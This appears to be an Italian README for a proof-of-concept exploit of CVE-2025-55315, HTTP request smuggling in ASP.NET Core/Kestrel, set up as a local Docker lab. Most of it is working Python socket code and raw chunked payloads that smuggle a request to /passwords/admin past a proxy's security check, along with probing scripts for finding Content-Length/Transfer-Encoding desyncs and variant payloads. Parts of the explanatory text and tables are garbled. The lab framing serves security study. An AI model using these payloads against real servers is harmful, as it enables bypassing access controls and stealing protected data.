
Exploit proof-of-concept per CVE-2025-55315 (HTTP Request Smuggling in .NET). Dimostra come una codifica chunked analizzata in modo improprio consenta agli attaccanti di introdurre richieste contrabbandate oltre i proxy e i bilanciatori di carico nei server ASP.NET Core/Kestrel vulnerabili.
Proof-of-concept exploit per CVE-2025-55315 (.NET HTTP Request Smuggling). Dimostra come una codifica chunked analizzata in modo improprio consenta agli attaccanti di contrabbandare richieste attraverso proxy e bilanciatori di carico in server ASP.NET Core/Kestrel vulnerabili.
Visualizza la presentazione interattiva Prezi
🎥 Fai clic sul badge qui sopra per visualizzare la presentazione interattiva completa su Prezi
Dockerfile.vulnerable - Usa .NET 10.0.100-rc.1 (vulnerabile a CVE-2025-55315)Dockerfile.patched - Usa .NET 10.0.100 (versione patchata)Nota: La vulnerabilità si trova nel parser HTTP del runtime .NET (Kestrel), non nel codice dell'applicazione. Entrambe le versioni usano codice sorgente identico ma versioni diverse del runtime .NET.
# Build and run all services
docker-compose up --build
# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028
Vedi DOCKER.md per istruzioni dettagliate sull'uso di Docker.
Il proxy Python dimostra CVE-2025-55315 privilegiando Content-Length rispetto a Transfer-Encoding, abilitando l'HTTP request smuggling:
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"2;\n"
"xx\r\n"
"39\r\n"
"0\r\n"
"\r\n"
"GET /passwords/admin HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"\r\n"
"0\r\n"
"\r\n"
)
import socket
import time
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5027))
s.sendall(payload.encode())
# Read all available data
s.settimeout(2.0)
responses = b''
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
responses += chunk
except socket.timeout:
pass
print("=== Complete Response ===")
print(responses.decode('utf-8', errors='ignore'))
print("\n=== Checking for smuggled request response ===")
if b'/passwords/admin' in responses or b'admin' in responses:
print("✓ Successfully smuggled request to /passwords/admin!")
else:
print("✗ Exploit failed or blocked")
Questo payload contrabbanda una seconda richiesta a /passwords/admin oltre il controllo di sicurezza del proxy, sfruttando la discrepanza tra come il proxy e il server backend analizzano la richiesta.
Ecco come il proxy e il server backend interpretano lo stesso payload in modo diverso:
Differenze Chiave:
Spiegazione Dettagliata:
2;\n come dichiarazione di dimensione chunk valida (2 byte) → Legge xx come corpo del chunk di 2 byte → Passa al chunk successivo (39)\n come terminatore di riga → La dimensione del chunk è ancora 2, ma l'intestazione si estende fino a 2;\nxx\r\n → Legge 39 come parte del corpo del chunk → 0\r\n termina il chunkGET /passwords/admin è nascosta in ciò che il backend tratta come dati del chunk, ma viene analizzata come richiesta separata dopo il completamento dell'elaborazione del chunkLa richiesta contrabbandata GET /passwords/admin è nascosta in ciò che il proxy ritiene essere dati del corpo del chunk, ma il backend la analizza come una richiesta HTTP separata.
Prima di sfruttare la vulnerabilità, devi identificare quale header HTTP (Content-Length o Transfer-Encoding) i diversi componenti privilegiano. Ecco una guida passo passo:
Invia una richiesta con entrambi gli header Content-Length e Transfer-Encoding: chunked per vedere quale rispetta ciascun componente:
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
Analisi:
Content-LengthTransfer-EncodingTesta tutti i componenti della tua architettura per individuare discrepanze:
# Using Python
import socket
test_payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Length: 2\r\n"
"\r\n"
"6\r\n"
"Fabian\r\n"
"0\r\n"
"\r\n"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5001))
s.sendall(test_payload.encode())
s.settimeout(1.0)
try:
response = s.recv(4096)
print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
except socket.timeout:
pass
# Change port to 5002 and test
# Safe API should handle the conflict properly
# Change port to 5027
# Python proxy favors Content-Length (vulnerable)
# Change port to 5028
# Test how YARP handles the header conflict
/passwordsTransfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
Una volta identificato:
Content-Length (legge solo N byte)Transfer-Encoding (legge il corpo chunked)Puoi contrabbandare una seconda richiesta che il proxy non vede mai ma che il backend elabora.
Esegui il payload completo dell'exploit (vedi la sezione "Dimostrazione dell'Exploit" qui sopra) e conferma:
socket: Controllo di basso livello per una formattazione HTTP precisa--data-binary: Test rapidi da riga di comandoL'exploit può essere creato in più modi. Sperimenta con approcci diversi:
# Add Content-Length to make the desync explicit
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Content-Length: 75\r\n"
"Transfer-Encoding: chunked\r\n"
# ... rest of payload
)
\n come terminatore di riga valido → Tratta 2;\n come dimensione del chunk → Legge 2 byte (xx)\n → L'intestazione del chunk si estende fino a 2;\nxx\r\n → 39 diventa il corpo del chunk → 0\r\n termina il chunkProva diversi scenari di desync modificando PythonProxy/proxy_server.py:
\n vs \r\n)Sperimenta con:
|
INTERPRETAZIONE DEL PROXY (accetta |
INTERPRETAZIONE DEL BACKEND (rifiuta |
| Componente | Dimensione chunk 2;\n | Byte letti | Cosa succede |
|---|
| Proxy | ✅ Dimensione chunk valida | 2 byte (xx) | Tratta 2;\n come intestazione chunk completa, legge 2 byte, prosegue al chunk successivo |
| Backend | ❌ Terminatore di riga non valido | Legge comunque un chunk di 2 byte | L'intestazione del chunk non termina fino a xx\r\n, quindi 39 diventa il corpo del chunk, 0 termina il chunk |